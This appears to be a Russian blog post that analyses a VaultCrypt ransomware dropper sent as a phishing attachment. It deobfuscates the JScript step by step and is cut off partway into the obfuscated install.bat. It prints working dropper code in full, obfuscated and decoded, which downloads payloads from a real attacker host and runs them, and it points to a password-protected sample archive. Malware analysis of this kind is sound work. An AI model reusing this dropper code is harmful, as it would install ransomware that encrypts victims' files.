Анализ одной из модификаций шифровальщика VaultCrypt

    Привет, хаб!

    На днях (примерно месяц назад) мне достался образец письма с троянцем, рассылаемого по электронной почте. Вообще я не являюсь профессионалом в анализе вредоносных файлов, но в данном случае оказалось, что простейший анализ можно провести и без глубоких знаний.

    Раньше я такого не делал, так что мне стало интересно посмотреть, что же можно отсюда вытянуть. Под катом — разбор кода дроппера и исполняемого bat-файла.

    TL;DR: под катом — практически построчный разбор довольно большого и муторного BAT-файла. Код, картинки, минимум мыслей.

    ATTENTION: некоторые антивирусы (в частности, мой Avast!) очень негативно реагируют на приведенные фрагменты JS-кода. При включенном Avast! у меня вместо статьи отображалась пустая страница с сообщением «Соединение было сброшено». Учтите это, если захотите почитать.

    NB:
    В попытках понять, что происходит, я провел несколько экспериментов, в результате чего стал счастливым обладателем пятидесяти черновиков постов. И я слишком поздно осознал, что удалить на Хабре черновик невозможно.)


    1. Деобфускация дроппера



    Итак, вначале было письмо. Текст письма был примерно таким: добрый день, пишет вам бухгалтер ООО «Копыта и рога», прошу вас ознакомиться с прилагаемым актом сверки.

    К письму прикреплено вложение: zip-архив, внутри которого находится js-файл со следующим именем:

    Акт сверки Июль. Оборотно-сальдовые данные по состоянию на 11.08. Необходимо согласовать в срочном порядке.dос .js
    

    Вот как выглядело его содержимое:
    //// uxqTUNgSeIQPIzvREL2BBpQKqgkAqK3RnG7HD15SZkPpEc3TNM
    ///// uxqTUNgSeIQPIzvREL2BBpQKqgkAqK3RnG7HD15SZkPpEc3TNM
    
    eval(function(d, e, a, c, b, f) {
      b = function(a) {
        return (a < e ? "" : b(parseInt(a / e))) + (35 < (a %= e) ? String.fromCharCode(a + 29) : a.toString(36));
      };
      ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
      if (!"".replace(/^/, String)) {
        for (;a--;) {
          f[b(a)] = c[a] || b(a);
        }
      ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
        c = [function(a) {
          return f[a];
        }];
      ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
        b = function() {
          return "\\w+";
        };
        a = 1;
      }
      for (;a--;) {
        c[a] && (d = d.replace(new RegExp("\\b" + b(a) + "\\b", "g"), c[a]));
      }
      ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
      return d;
     ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    }
    ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    ('4 3="%j%\\\\";5 7(a){k 8 e(a)}4 9=7("l.m"),3=9.n(3);5 f(a,d){4 b=8 7("o.p"),c=(8 e("q.r.6.0")).s("t");c.u="v.w";c.x=a;c=c.y;b.z=1;b.A();b.B(c);b.C(d,2);b.D()}5 g(a){9.E(a,0,0)}f("F=",""+3+"h.i");g(""+3+"h.i");', 42, 42, "   MT33 var function  CreateObject new JS02     ActiveXObject JS04 JS10 update js temp return WScript Shell ExpandEnvironmentStrings ADODB Stream Msxml2 DOMDocument createElement tmp dataType bin base64 text nodeTypedValue Type Open Write SaveToFile Close Run DQp2YXIgSlMwMz0iJXRlbXAlXFwiOw0KZnVuY3Rpb24gQ3JlYXRlT2JqZWN0KGIpe3JldHVybiBuZXcgQWN0aXZlWE9iamVjdChiKX0NCnZhciBKUzAyPUNyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpOw0KSlMwMz1KUzAyLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhKUzAzKTsNCmZ1bmN0aW9uIGpqKGIsZCl7dmFyIGM9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5YTUxIVFRQIik7Yy5vcGVuKCJHRVQiLGIsMCk7Yy5zZW5kKCk7DQpuZXcgQWN0aXZlWE9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKTt2YXIgYT1uZXcgQWN0aXZlWE9iamVjdCgiQURPREIuU3RyZWFtIik7DQphLk9wZW4oKTthLlR5cGU9MTthLldyaXRlKGMuUmVzcG9uc2VCb2R5KTthLlBvc2l0aW9uPTA7YS5TYXZlVG9GaWxlKGQsMik7YS5DbG9zZSgpfQ0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvZG9jLmNzcycsJycrSlMwMysnZG9jLmRvYycpOw0KZnVuY3Rpb24gSlMxMShKUzEyKXtKUzAyLlJ1bihKUzEyLDEsMCk7fQ0KdHJ5IHtKUzExKCcnK0pTMDMrJ2RvYy5kb2MnKTt9DQpjYXRjaChKUzAwNyl7fQ0KZnVuY3Rpb24gSlMxMChKUzEyKXtKUzAyLlJ1bihKUzEyLDAsMCk7fQ0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvZGVzaWduLmNzcycsJycrSlMwMysnZGVzaWduLmNzcycpOw0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvaW5zLmNzcycsJycrSlMwMysnaW5zdGFsbC5iYXQnKTsNCkpTMTAoJycrSlMwMysnaW5zdGFsbC5iYXQnKTs".split(" "), 
    0, {}));
    ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    

    Первый мой шаг был достаточно очевиден: убрать комментарии, которые, как видно, не несут никакой смысловой нагрузки. В данном случае файл небольшой, убрать комментарии можно вручную — или же можно воспользоваться регулярными выражениями. Например, во многих текстовых редакторах можно просто заменить на пустую строку все строки, подпадающие под шаблон ^\s*////.*\n (он выберет все строки, которые начинаются с четырех слешей).

    На закуску можно добавить щепотку форматирования.

    После этого получим следующее:
    eval(function(d, e, a, c, b, f) {
      b = function(a) {
        return (a < e ? "" : b(parseInt(a / e))) + (35 < (a %= e) ? String.fromCharCode(a + 29) : a.toString(36));
      };
    
      if (!"".replace(/^/, String)) {
        for (;a--;) {
          f[b(a)] = c[a] || b(a);
        }
        c = [function(a) {
          return f[a];
        }];
        b = function() {
          return "\\w+";
        };
        a = 1;
      }
    
      for (;a--;) {
        c[a] && (d = d.replace(new RegExp("\\b" + b(a) + "\\b", "g"), c[a]));
      }
    
      return d;
    }
    
    ('4 3="%j%\\\\";5 7(a){k 8 e(a)}4 9=7("l.m"),3=9.n(3);5 f(a,d){4 b=8 7("o.p"),c=(8 e("q.r.6.0")).s("t");c.u="v.w";c.x=a;c=c.y;b.z=1;b.A();b.B(c);b.C(d,2);b.D()}5 g(a){9.E(a,0,0)}f("F=",""+3+"h.i");g(""+3+"h.i");',
     42,
     42,
     "   MT33 var function  CreateObject new JS02     ActiveXObject JS04 JS10 update js temp return WScript Shell ExpandEnvironmentStrings ADODB Stream Msxml2 DOMDocument createElement tmp dataType bin base64 text nodeTypedValue Type Open Write SaveToFile Close Run DQp2YXIgSlMwMz0iJXRlbXAlXFwiOw0KZnVuY3Rpb24gQ3JlYXRlT2JqZWN0KGIpe3JldHVybiBuZXcgQWN0aXZlWE9iamVjdChiKX0NCnZhciBKUzAyPUNyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpOw0KSlMwMz1KUzAyLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhKUzAzKTsNCmZ1bmN0aW9uIGpqKGIsZCl7dmFyIGM9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5YTUxIVFRQIik7Yy5vcGVuKCJHRVQiLGIsMCk7Yy5zZW5kKCk7DQpuZXcgQWN0aXZlWE9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKTt2YXIgYT1uZXcgQWN0aXZlWE9iamVjdCgiQURPREIuU3RyZWFtIik7DQphLk9wZW4oKTthLlR5cGU9MTthLldyaXRlKGMuUmVzcG9uc2VCb2R5KTthLlBvc2l0aW9uPTA7YS5TYXZlVG9GaWxlKGQsMik7YS5DbG9zZSgpfQ0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvZG9jLmNzcycsJycrSlMwMysnZG9jLmRvYycpOw0KZnVuY3Rpb24gSlMxMShKUzEyKXtKUzAyLlJ1bihKUzEyLDEsMCk7fQ0KdHJ5IHtKUzExKCcnK0pTMDMrJ2RvYy5kb2MnKTt9DQpjYXRjaChKUzAwNyl7fQ0KZnVuY3Rpb24gSlMxMChKUzEyKXtKUzAyLlJ1bihKUzEyLDAsMCk7fQ0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvZGVzaWduLmNzcycsJycrSlMwMysnZGVzaWduLmNzcycpOw0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvaW5zLmNzcycsJycrSlMwMysnaW5zdGFsbC5iYXQnKTsNCkpTMTAoJycrSlMwMysnaW5zdGFsbC5iYXQnKTs".split(" "),
     0,
     {}));
    

    Окей — стало получше, хоть и не сильно. :)

    Что мы видим? Самой первой идет функция eval() — выполнить код. Какой код? Который вернет нам функция function(d, e, a, c, b, f). Откуда она берет параметры? А они указаны сразу после объявления функции. Все шесть штук — с a по f — в наличии:

    ('4 3="%j%\\\\";5 7(a) <....>,
     42,
     42,
     "   MT33 var function  CreateObject  <....>,
     0,
     {})
    

    Повкуривав код пару минут, я неожиданно вспомнил, что мозгов-то у меня ведь и нет, и решил попробовать пойти по пути наименьшего сопротивления.

    Видно, что обфусцированный код содержится в четвертом параметре. Вначале идут упоминания переменных и функций, а затем — довольно объемная «портянка» — похоже, закодированная в Base64.

    Хм. А что, если...


    Bingo! У нас есть код. Прекрасный обфускатор использован, побольше бы таких. :)

    NB:
    Однако не всегда все так шоколадно. Буквально через несколько часов посыпалась другая рассылка: схожий текст письма, схожий js-файл во вложении — но там уже был применен другой обфускатор, без сладкой халявы в виде Base64.

    Если интересно - он выглядел так:
    // 59d3ce34148c30ca34d7c7a66638ae5c0292edd4c9c022663364f87adf190adc
    //// cb138ea5c1bfe3ab5c876e3cb1582344
    ///// 0292edd4c9c022663364f87adf190adccb138ea5c1bfe3ab5c876e3cb15823445
    eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function()
    // 59d3ce34148c30ca34d7c7a66638ae5c0292edd4c9c022663364f87adf190adc
    ///// 0292edd4c9c022663364f87adf190adccb138ea5c1bfe3ab5c876e3cb15823445
    {return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1E 14=["\\18\\a\\I\\19\\A\\1y\\Z\\1y\\1l\\1l\\A\\15\\y\\a\\12\\U\\c\\V\\1s\\W\\a\\1t\\a\\g\\U\\c\\V\\1q\\18\\a\\G\\19\\12\\U\\A\\d\\M\\o\\A\\V\\1f\\I\\19\\G\\M\\n\\U\\I\\V\\15\\y\\a\\1d\\U\\c\\1f\\s\\V\\1s\\18\\a\\q\\19\\1t\\a\\12\\U\\A\\T\\M\\m\\A\\V\\1f\\b\\19\\U\\1t\\a\\g\\U\\A\\1r\\M\\L\\M\\1c\\M\\j\\A\\V\\V\\M\\R\\U\\A\\h\\A\\V\\15\\b\\M\\p\\19\\A\\O\\M\\P\\A\\15\\b\\M\\1a\\19\\c\\15\\b\\19\\b\\M\\f\\15\\q\\M\\u\\19\\16\\15\\q\\M\\10\\U\\V\\15\\q\\M\\1h\\U\\b\\V\\15\\q\\M\\v\\U\\s\\1f\\B\\V\\15\\q\\M\\Y\\U\\V\\1q\\y\\a\\X\\U\\c\\V\\1s\\G\\M\\N\\U\\c\\1f\\j\\1f\\j\\V\\1q\\1d\\U\\A\\17\\A\\1f\\A\\A\\1j\\I\\1j\\A\\D\\M\\i\\A\\V\\15\\X\\U\\A\\A\\1j\\I\\1j\\A\\D\\M\\i\\A\\V\\15","\\a","\\R\\m\\d\\i\\h","\\a\\a\\a\\k\\C\\I\\I\\a\\O\\c\\L\\a\\1d\\p\\n\\b\\h\\i\\T\\n\\a\\a\\v\\L\\g\\c\\h\\g\\1b\\q\\Z\\g\\b\\h\\a\\n\\g\\P\\a\\H\\Q\\j\\B\\a\\a\\a\\a\\a\\10\\b\\h\\i\\O\\g\\w\\1b\\q\\Z\\g\\b\\h\\a\\H\\Q\\j\\18\\a\\H\\Q\\16\\j\\a\\p\\m\\s\\c\\h\\g\\a\\Z\\R\\a\\h\\g\\o\\m\\a\\L\\g\\h\\p\\L\\n\\a\\x\\Q\\b\\L\\i\\m\\h\\a\\Q\\D\\g\\d\\d\\a\\N\\1a\\m\\c\\n\\s\\N\\n\\O\\i\\L\\T\\n\\o\\g\\n\\h\\Q\\h\\L\\i\\n\\X\\R\\a\\10\\Y\\1b\\Y\\1h\\a\\Q\\h\\L\\g\\c\\o\\a\\k\\R\\1a\\o\\d\\B\\a\\Y\\1b\\k\\Y\\T\\b\\p\\o\\g\\n\\h\\a\\b\\L\\g\\c\\h\\g\\N\\d\\g\\o\\g\\n\\h\\a\\h\\o\\m\\a\\s\\c\\h\\c\\C\\f\\m\\g\\a\\q\\i\\n\\a\\q\\c\\R\\g\\1c\\18\\a\\h\\g\\1a\\h\\a\\n\\T\\s\\g\\C\\f\\m\\g\\s\\r\\c\\d\\p\\g\\a\\C\\f\\m\\g\\a\\1b\\m\\g\\n\\a\\x\\L\\i\\h\\g\\a\\Q\\c\\O\\g\\C\\T\\17\\i\\d\\g\\a\\v\\d\\T\\R\\g\\a\\J\\p\\n\\a\\Y\\E\\m\\B\\z\\w\\11\\X\\Q\\d\\k\\P\\k\\u\\j\\i\\H\\w\\J\\d\\q\\w\\10\\d\\w\\17\\P\\i\\1b\\P\\j\\e\\l\\n\\r\\p\\z\\I\\J\\m\\q\\B\\18\\X\\E\\I\\H\\d\\z\\w\\J\\d\\C\\B\\H\\1r\\l\\x\\13\\j\\e\\t\\11\\m\\g\\I\\H\\d\\s\\1e\\r\\f\\q\\i\\1h\\p\\l\\w\\b\\X\\E\\x\\13\\j\\c\\w\\l\\d\\x\\N\\G\\i\\c\\o\\r\\Z\\s\\v\\D\\i\\e\\w\\j\\13\\v\\n\\l\\D\\b\\i\\1h\\e\\F\\u\\10\\f\\1k\\F\\13\\f\\l\\x\\17\\j\\l\\F\\G\\i\\c\\o\\r\\Z\\s\\v\\X\\i\\r\\16\\13\\Z\\b\\o\\d\\P\\s\\v\\y\\C\\c\\t\\r\\R\\q\\v\\11\\m\\1b\\P\\j\\e\\Q\\d\\k\\P\\k\\u\\16\\e\\F\\u\\10\\f\\K\\W\\r\\18\\b\\t\\17\\p\\l\\N\\r\\p\\s\\o\\d\\f\\q\\B\\y\\h\\l\\x\\y\\j\\F\\I\\J\\f\\c\\x\\y\\n\\b\\f\\D\\e\\F\\u\\10\\u\\e\\C\\R\\13\\v\\o\\l\\16\\q\\o\\13\\j\\c\\x\\G\\p\\11\\t\\m\\1r\\e\\t\\11\\R\\l\\v\\d\\12\\s\\o\\17\\f\\11\\t\\k\\G\\q\\o\\r\\I\\11\\N\\17\\Z\\s\\t\\d\\B\\l\\r\\D\\1k\\z\\o\\m\\d\\z\\I\\E\\T\\11\\W\\16\\C\\x\\N\\16\\k\\k\\i\\y\\z\\C\\F\\1a\\11\\r\\17\\J\\E\\11\\i\\W\\12\\z\\f\\y\\O\\b\\t\\r\\p\\e\\v\\H\\1e\\J\\r\\E\\i\\K\\t\\11\\R\\k\\v\\W\\12\\z\\f\\y\\u\\l\\x\\y\\W\\e\\v\\W\\12\\Y\\E\\m\\p\\l\\w\\b\\X\\E\\x\\13\\j\\c\\w\\l\\d\\x\\N\\G\\i\\c\\o\\r\\Z\\s\\v\\X\\i\\F\\B\\13\\f\\c\\w\\1h\\j\\c\\x\\y\\n\\K\\W\\l\\m\\q\\t\\r\\C\\g\\w\\13\\j\\l\\x\\16\\1k\\z\\o\\m\\d\\z\\I\\E\\i\\e\\C\\h\\B\\z\\w\\11\\X\\z\\C\\16\\p\\l\\w\\b\\X\\E\\x\\13\\j\\c\\w\\l\\d\\x\\N\\G\\i\\c\\o\\r\\Z\\s\\v\\X\\i\\E\\F\\J\\1k\\J\\N\\11\\p\\F\\I\\J\\f\\l\\x\\17\\h\\11\\i\\W\\12\\Y\\E\\m\\D\\K\\W\\G\\P\\l\\x\\18\\T\\e\\C\\h\\D\\K\\d\\J\\y\\b\\t\\F\\G\\k\\C\\h\\D\\K\\d\\s\\f\\c\\w\\J\\d\\e\\t\\k\\p\\F\\o\\r\\u\\b\\t\\G\\p\\b\\B\\r\\v\\q\\B\\J\\y\\e\\C\\h\\D\\K\\d\\1h\\O\\b\\B\\d\\j\\c\\x\\G\\p\\1k\\C\\10\\12\\z\\Q\\y\\C\\z\\w\\l\\d\\r\\t\\G\\t\\c\\x\\1a\\d\\e\\t\\E\\R\\k\\i\\W\\12\\z\\Q\\y\\Y\\q\\t\\G\\u\\l\\Q\\X\\m\\1d\\E\\j\\e\\c\\o\\T\\T\\H\\B\\D\\j\\s\\1e\\10\\1c\\K\\f\\G\\O\\b\\n\\r\\1c\\c\\t\\h\\O\\s\\i\\y\\p\\l\\w\\E\\O\\l\\t\\G\\Z\\K\\o\\13\\u\\b\\f\\b\\R\\H\\f\\b\\L\\Q\\d\\k\\P\\k\\f\\R\\n\\l\\t\\G\\Z\\K\\o\\J\\O\\z\\f\\b\\m\\1b\\P\\j\\e\\l\\n\\r\\p\\z\\I\\J\\m\\q\\B\\18\\X\\Q\\d\\k\\1a\\k\\Q\\D\\e\\F\\u\\N\\f\\e\\w\\h\\e\\F\\u\\10\\f\\K\\d\\H\\16\\q\\i\\D\\e\\F\\u\\N\\f\\K\\Y\\N\\R\\k\\v\\W\\12\\1d\\E\\j\\e\\s\\1e\\H\\y\\11\\1e\\h\\e\\F\\u\\N\\1a\\e\\v\\b\\n\\e\\j\\m\\C\\k\\Y\\k\\L\\H\\B\\J\\O\\z\\f\\y\\W\\q\\B\\k\\n\\e\\C\\h\\G\\Y\\E\\m\\Z\\z\\w\\J\\Z\\c\\v\\D\\e\\F\\u\\10\\P\\13\\f\\d\\12\\1d\\E\\j\\e\\l\\n\\r\\p\\z\\I\\J\\m\\q\\B\\18\\X\\Q\\d\\k\\1a\\k\\v\\D\\e\\F\\u\\N\\f\\e\\w\\h\\e\\F\\u\\10\\f\\K\\d\\H\\16\\q\\i\\D\\e\\F\\u\\N\\f\\K\\Y\\10\\R\\k\\v\\W\\12\\1d\\E\\j\\e\\c\\o\\T\\T\\H\\B\\D\\j\\s\\1e\\10\\1c\\K\\f\\G\\O\\b\\n\\r\\1c\\c\\t\\h\\O\\s\\i\\y\\p\\l\\w\\E\\O\\l\\t\\r\\u\\c\\x\\s\\p\\K\\o\\13\\u\\b\\f\\b\\R\\H\\f\\b\\L\\Q\\d\\k\\P\\k\\f\\R\\n\\l\\t\\r\\u\\c\\x\\s\\p\\K\\o\\13\\u\\b\\f\\b\\m\\1b\\P\\j\\e\\c\\o\\T\\T\\H\\B\\D\\j\\s\\1e\\10\\1c\\K\\f\\G\\O\\b\\n\\r\\1c\\c\\t\\h\\O\\s\\i\\y\\p\\l\\w\\E\\O\\c\\x\\y\\u\\k\\i\\y\\Z\\b\\I\\k\\n\\K\\v\\b\\n\\e\\j\\m\\C\\k\\Y\\k\\L\\H\\B\\d\\p\\b\\I\\J\\D\\q\\t\\P\\p\\z\\o\\17\\j\\H\\f\\W\\12\\Y\\E\\m\\e\\F\\u\\N\\P\\e\\v\\b\\n\\e\\j\\m\\C\\k\\Y\\k\\L\\H\\B\\d\\p\\b\\I\\J\\D\\q\\t\\P\\p\\z\\o\\17\\j\\H\\f\\W\\12","","\\1d\\L\\T\\o\\v\\D\\c\\L\\v\\T\\s\\g","\\L\\g\\m\\d\\c\\b\\g","\\1l\\P\\1j","\\1l\\q","\\X"];1F(1n(1m,1o,S,1i,1g,1u){1g=1n(S){1p(S<1o?14[4]:1g(1B(S/1o)))+(1C<(S%=1o)?1v[14[5]](S+1I):S.1A(1z))};1D(!14[4][14[6]](/^/,1v)){1x(;S--;){1u[1g(S)]=1i[S]||1g(S)};1i=[1n(S){1p 1u[S]}];1g=1n(){1p 14[7]};S=1};1x(;S--;){1i[S]&&(1m=1m[14[6]](1G 1H(14[8]+1g(S)+14[8],14[9]),1i[S]))};1p 1m}(14[0],1w,1w,14[3][14[2]](14[1]),0,{}));',62,107,'||||||||||x20|x63|x61|x6C|x4B|x79|x65|x74|x69|x30|x4D|x5A|x70|x6E|x6D|x75|x62|x56|x64|x47|x7A|x43|x58|x57|x35|x59|x22|x32|x54|x68|x51|x55|x39|x4A|x33|x52|x4C|x72|x2E|x45|x76|x77|x53|x73|_0x3283x3|x6F|x28|x29|x6B|x67|x44|x6A|x41|x49|x37|x4E|_0x32db|x3B|x31|x46|x34|x3D|x78|x4F|x36|x66|x48|x2C|_0x3283x5|x42|_0x3283x4|x2B|x50|x5C|_0x3283x1|function|_0x3283x2|return|x7D|x71|x7B|x38|_0x3283x6|String|42|for|x25|36|toString|parseInt|35|if|var|eval|new|RegExp|29'.split('|'),0,{})
      
    // 59d3ce34148c30ca34d7c7a66638ae5c0292edd4c9c022663364f87adf190adc
    //// cb138ea5c1bfe3ab5c876e3cb1582344
    ///// 0292edd4c9c022663364f87adf190adccb138ea5c1bfe3ab5c876e3cb15823445
    )
    // 59d3ce34148c30ca34d7c7a66638ae5c0292edd4c9c022663364f87adf190adc
    

    Что же, это тоже легко можно расшифровать: открываем код в абсолютно любом текстовом редакторе, меняем eval() на console.log() и запускаем получившееся в JS-консоли броузера — например, в Firefox.

    Само собой, такую же операцию можно провернуть и с исходным js-файлом из начала этой статьи.

    Как-то так (кликабельно):


    В нижней части экрана — интересующий нас код.

    Весь код записан в одну строку. Чтобы привести его в читаемое состояние, в данном случае можно просто заменить ";" (точку с запятой) на ";\n" (точку с запятой и перенос строки).

    Ну и вновь приправить форматированием.

    Код, раскодирующий и запускающий ядро дроппера:
    var MT33 = "%temp%\\";
    
    function CreateObject(a){
      return new ActiveXObject(a)
    }
    var JS02 = CreateObject("WScript.Shell"),
      MT33 = JS02.ExpandEnvironmentStrings(MT33);
    
    function JS04(a, d){
      var b = new CreateObject("ADODB.Stream"),
        c = (new ActiveXObject("Msxml2.DOMDocument.6.0")).createElement("tmp");
      c.dataType = "bin.base64";
      c.text = a;
      c = c.nodeTypedValue;
      b.Type = 1;
      b.Open();
      b.Write(c);
      b.SaveToFile(d, 2);
      b.Close()
    }
    
    function JS10(a){
      JS02.Run(a, 0, 0)
    }
    
    JS04("DQp2YXIgSlMwMz0iJXRlbXAlXFwiOw0KZnVuY3Rpb24gQ3JlYXRlT2JqZWN0KGIpe3JldHVybiBuZXcgQWN0aXZlWE9iamVjdChiKX0NCnZhciBKUzAyPUNyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpOw0KSlMwMz1KUzAyLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhKUzAzKTsNCmZ1bmN0aW9uIGpqKGIsZCl7dmFyIGM9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5YTUxIVFRQIik7Yy5vcGVuKCJHRVQiLGIsMCk7Yy5zZW5kKCk7DQpuZXcgQWN0aXZlWE9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKTt2YXIgYT1uZXcgQWN0aXZlWE9iamVjdCgiQURPREIuU3RyZWFtIik7DQphLk9wZW4oKTthLlR5cGU9MTthLldyaXRlKGMuUmVzcG9uc2VCb2R5KTthLlBvc2l0aW9uPTA7YS5TYXZlVG9GaWxlKGQsMik7YS5DbG9zZSgpfQ0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvZG9jLmNzcycsJycrSlMwMysnZG9jLmRvYycpOw0KZnVuY3Rpb24gSlMxMShKUzEyKXtKUzAyLlJ1bihKUzEyLDEsMCk7fQ0KdHJ5IHtKUzExKCcnK0pTMDMrJ2RvYy5kb2MnKTt9DQpjYXRjaChKUzAwNyl7fQ0KZnVuY3Rpb24gSlMxMChKUzEyKXtKUzAyLlJ1bihKUzEyLDAsMCk7fQ0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvZGVzaWduLmNzcycsJycrSlMwMysnZGVzaWduLmNzcycpOw0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvaW5zLmNzcycsJycrSlMwMysnaW5zdGFsbC5iYXQnKTsNCkpTMTAoJycrSlMwMysnaW5zdGFsbC5iYXQnKTs=", "" + MT33 + "update.js");
    
    JS10("" + MT33 + "update.js");
    

    Код на удивление несложный: он получает путь к папке %temp%, затем раскодирует основную часть загрузчика (дроппера) из Base64 и помещает полученный код в файл %temp%\update.js. После этого вредоносный файл запускается на выполнение функцией WScript.Shell.Run().

    P. S. Совершенно непонятно, зачем мы все это сейчас проделали — ведь у нас уже есть раскодированный код…

    Ну ладно, пусть будет. :)


    2. Анализ дроппера



    Итак, мы успешно раскодировали из Base64 основной код дроппера.

    Узрим же его!
    var JS03 = "%temp%\\";
    
    function CreateObject(b){
    return new ActiveXObject(b)
    }
    
    var JS02 = CreateObject("WScript.Shell");
    
    JS03 = JS02.ExpandEnvironmentStrings(JS03);
    
    function jj(b, d){
      var c = new ActiveXObject("MSXML2.XMLHTTP");
      c.open("GET", b, 0);
      c.send();
      new ActiveXObject("Scripting.FileSystemObject");
      var a = new ActiveXObject("ADODB.Stream");
      a.Open();
      a.Type = 1;
      a.Write(c.ResponseBody);
      a.Position = 0;
      a.SaveToFile(d, 2);
      a.Close()
    }
    
    jj('http://oruzhkov.net/doc.css','' + JS03 + 'doc.doc');
    
    function JS11(JS12){
      JS02.Run(JS12, 1, 0);
    }
    
    try {
      JS11('' + JS03 + 'doc.doc');
    }
    catch(JS007){
    }
    
    function JS10(JS12){
      JS02.Run(JS12, 0, 0);
    }
    
    jj('http://oruzhkov.net/design.css','' + JS03 + 'design.css');
    
    jj('http://oruzhkov.net/ins.css','' + JS03 + 'install.bat');
    
    JS10(''+JS03+'install.bat');
    

    Код, опять-таки, весьма несложный; единственное, что немного напрягает, — это непонятные имена переменных. Общий смысл происходящего таков:
    • создать объект WScript;
    • получить полный путь к папке %temp%;
    • скачать с сервера злоумышленника файл doc.doc и сохранить его под тем же именем в папку %temp%;
    • попытаться открыть doc.doc;
    • скачать с сервера злоумышленника файл design.css и сохранить его под тем же именем в папку %temp%;
    • скачать с сервера злоумышленника файл ins.css и сохранить его под именем install.bat в папку %temp%;
    • запустить install.bat.

    Образцы скачиваемых файлов можно скачать непосредственно с официального сайта дистрибьютора (уже недоступен) или взять здесь (должно быть доступно ближайшие пару месяцев, потом сотрется; пароль к архиву — «virus»).

    Файл doc.doc — это, похоже, обычный документ MS Word (по крайней мере, навскидку ничего вредоносного я в нем не нашел). После открытия пользователь увидит следующее:

    Ваша версия Word устарела!


    Файл design.css — это на самом деле gpg.exe, утилита для шифрования сообщений и файлов.

    А файл ins.css (install.bat) — это собственно главный исполняемый файл троянца.

    3. Деобфускация исполняемого файла



    Исходное содержимое файла install.bat приведено под спойлером. Кода довольно много (примерно 850 строк), так что этот спойлер лучше вообще не открывать — дальше будет приведена укороченная версия.

    Код (850 строк мути):
    echo uxqTUNgSeIQPIzvREL2BBpQKqgkAqK3RnG7HD15SZkPpEc3TNM
    echo uxqTUNgSeIQPIzvREL2BBpQKqgkAqK3RnG7HD15SZkPpEc3TNM
    
    @ECHO OFF
    
    echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    SetLocal EnableDelayedExpansion
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    cd "%TEMP%"
    if not exist "%temp%\9480bf43.76a94786" (
    echo b4Ga5r573nErUJaHejudevuRuTaChUbr >nul
    echo BeQedRu54GUtra5aYEdeseTe2R4wruv6 >nul
    echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    echo 871c371d > "%temp%\9480bf43.76a94786"
    echo b4Ga5r573nErUJaHejudevuRuTaChUbr >nul
    echo BeQedRu54GUtra5aYEdeseTe2R4wruv6 >nul
    attrib +s +h "%temp%\9480bf43.76a94786"
    echo sPE3as8pHaResW583YuwrUdraz4fraFr >nul
    ) else (
    echo wra7ap4ve3rezUCufRamAQeJUPaste4A >nul
    echo fr8chADr8phubuca4atHu7ebrezeXuc8 >nul
